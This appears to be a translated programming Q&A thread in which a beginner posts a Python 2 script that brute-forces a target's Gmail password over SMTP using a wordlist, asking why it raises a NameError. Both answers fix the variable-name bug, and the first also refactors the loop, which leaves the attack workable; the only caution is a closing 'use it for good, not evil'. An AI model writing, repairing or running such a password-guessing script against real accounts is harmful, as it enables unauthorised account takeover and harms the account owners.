PYTHON 2.7.9:NameError:name' ___'没有定义

时间:2015-10-11 00:43:16

标签: python dictionary-attack

我是编程新手,但我正在尝试创建以下脚本。你能告诉我我做错了吗?

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")

for password in passwfile:
        try:
                smtpserver.login(user, password)
                print "[+] Password Found: %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                print "[!] Password Incorrect: %s" % password

当我添加wordlist.lst文件时,我的终端会出现一条错误消息,说明如下:

File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined

请问有什么专家给我一些建议吗? 我在Kali Linux上使用Python 2.7.9(预装了Python 2,所以我决定学习它而不是试用Python 3。)

2 个答案:

答案 0 :(得分:3)

没有定义名为passwfile的变量。但是,有一个名为Passwfile(请注意大小写),您应该使用它,因为标识符在Python中区分大小写。

请注意,在Python中,约定是使用所有小写的变量名称。 Captialised标识符通常用于类名。所以你的代码可以读取:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")

for password in password_file:

例如。

有关标识符和其他样式问题的更多信息,请参阅PEP 8。这里建议变量用下划线分隔的小写单词,所以更喜欢password_file而不是passwfile

另一个有用的提示是使用with语句在上下文管理器中打开文件:

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")

with open(password_filename) as password_file:
    for password in password_file:
        # nasty stuff here

如果存在未处理的异常,则上下文管理器将确保文件始终正确关闭。

最后,使用它是为了好,而不是邪恶:)

答案 1 :(得分:0)

检查线

Passwfile = raw_input("Enter the password file name: ")

这里将raw_input存储在变量Passwfile(大写字母P)